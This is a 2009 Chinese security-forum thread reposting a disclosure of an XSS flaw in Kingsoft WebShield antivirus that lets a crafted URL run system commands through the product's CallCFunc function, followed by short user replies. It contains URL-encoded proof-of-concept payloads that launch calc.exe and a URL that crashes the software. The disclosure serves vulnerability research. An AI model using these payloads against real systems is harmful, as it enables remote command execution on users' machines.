查看: 7313|回复: 30
收起左侧

小心使用金山网盾,以免沦为“肉鸡”~

 关闭 [复制链接]
wintrysun
发表于 2009-5-19 20:28:33 | 显示全部楼层 |阅读模式
小心使用金山网盾,以免沦为“肉鸡”~





漏洞函数原型:
C:\Program Files\Kingsoft\KSWebShieldSVC\script\popo6.htm
//68行 CallCFunc函数的第二个参数执行任意命令且可以带参数。
function callSetting()
{
parent.CallCFunc( "exec", "kwsmain.exe /showsetting" );
}


测试方法:
#xss=<img src=#>
访问一个被拦截的网页木马,在URL后加入上面的注释。
http://192.168.128.1/ms06014.txt#xss=%3C%69%6D%67%20%73%72%63%3D%23%20%6F%6E%65%72%72%6F%72%3D%22%70%61%72%65%6E%74%2E%43%61%6C%6C%43%46%75%6E%63%28%27%65%78%65%63%27%2C%27%63%3A%5C%5C%77%69%6E%64%6F%77%73%5C%5C%73%79%73%74%65%6D%33%32%5C%5C%63%61%6C%63%2E%65%78%65%27%29%22%3E
------------------------------------------------------
来源:http://hi.baidu.com/inking26/blog/item/16173b018ed707067aec2c8b.html

描述:
由于金山网盾对恶意地址的处理不严,攻击者通过构造一个普通的挂马页面和一个特殊的URL,可以使操作系统执行任何命令。
受影响的系统:
截至本文发布起的当前最新版本及其之前版本。
细节:
金山网盾的恶意提示部分UI是用网页代码编写的,在kwstray.exe得到恶意网址的时候,由于其处理方式的错误导致了XSS漏洞,同时利用软件中实现的某些功能,可以执行任何系统命令。具体分析如下:
在接收到恶意网址后,kwstray.exe采用了如下流程对字符进行了过滤处理
恶意网址 ——> HtmlEncode ——> unescape ——> 显示恶意信息
这个时候,假如攻击者估计在网址中包含html标签,那么很可能会导致XSS攻击。不过由于恶意网址首先进行了HtmlEncode处理,直接传入<script>之类的html标签会被过滤成[script],这样便使我们的攻击失败。绕过的方法为:首先将html标签进行escape,这样在进行HtmlEncode的时候网址不会有任何的改变,再经过unescape后html标签得到了还原,得以成功的插入js代码。具体的利用如下:

首先构造一个恶意的页面,该页面可以是一个普通的挂马页面,只要能被金山网盾识别为恶意就行。

然后构造一个恶意的url,里面包含我们要插入的html代码
http://localhost/index.php?html=<p style="background:url(javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' ))">test</p>

接着将url的html部分进行escape加密
http://localhost/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e

让浏览器去访问该恶意地址,这个时候网盾检测到网页中包含有恶意代码,于是将恶意地址报告给WebShield服务,WebShield服务接受到信息后启动一个kwstray.exe实例,并且将恶意地址附带上;kwstray.exe将得到的地址进行HtmlEncode处理,然后再进行unescape,最后将内容打印给用户,这个时候html标签成功插入网页中,并且开始执行恶意代码,弹出我们的计算器程序。

在恶意地址中有如下js代码。
javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' )
CallCFunc是网盾自己实现的用于执行程序的函数,比如绿色气泡弹出的时候,如果点击确定,网页中的js会调用CallCFunc函数执行kwsmain.exe进程,用于启动配置界面。所以我们可以直接利用此函数运行我们的程序和命令。
其它:
    金山网盾在对恶意地址进行解码的时候,处理不当,通过传入特殊的url,可以使浏览器崩溃。最简单的崩溃方式:
http://localhost/index.php?test=a%
   当网盾在url中发现%号的时候,它会尝试着去进行解码,在解码过程中会导致崩溃。

点点风铃
发表于 2009-5-19 20:29:41 | 显示全部楼层
不会这么严重吧;不相信;
wintrysun
 楼主| 发表于 2009-5-19 20:30:29 | 显示全部楼层
不知道有没有人测试下
反正用了网盾
我的TW一开 特别是看优酷等视频时 立马CPU100%

原帖地址:http://hi.baidu.com/80sec/blog/item/5266f0d268c1d1d7a8ec9ad2.html
fandely
发表于 2009-5-19 20:32:05 | 显示全部楼层
这么严重?
逝去の小丑 该用户已被删除
发表于 2009-5-19 20:43:12 | 显示全部楼层
高人 啊  
膜拜~~~
1aty
发表于 2009-5-19 20:57:08 | 显示全部楼层
没有国内的杀软。。 哪来我们的 肉鸡?
huangqian202
发表于 2009-5-19 21:16:35 | 显示全部楼层
还好不用!
669787589
发表于 2009-5-19 21:25:19 | 显示全部楼层
已经修复这个问题请升级新版本
dl123100
发表于 2009-5-19 21:25:20 | 显示全部楼层
毒霸再次出洋相了
幸好还是测试版

[ 本帖最后由 dl123100 于 2009-5-19 21:28 编辑 ]
甜酸排骨
发表于 2009-5-19 21:44:38 | 显示全部楼层
因为存在其他的bug。所以放弃了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-7 06:13 , Processed in 0.127636 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表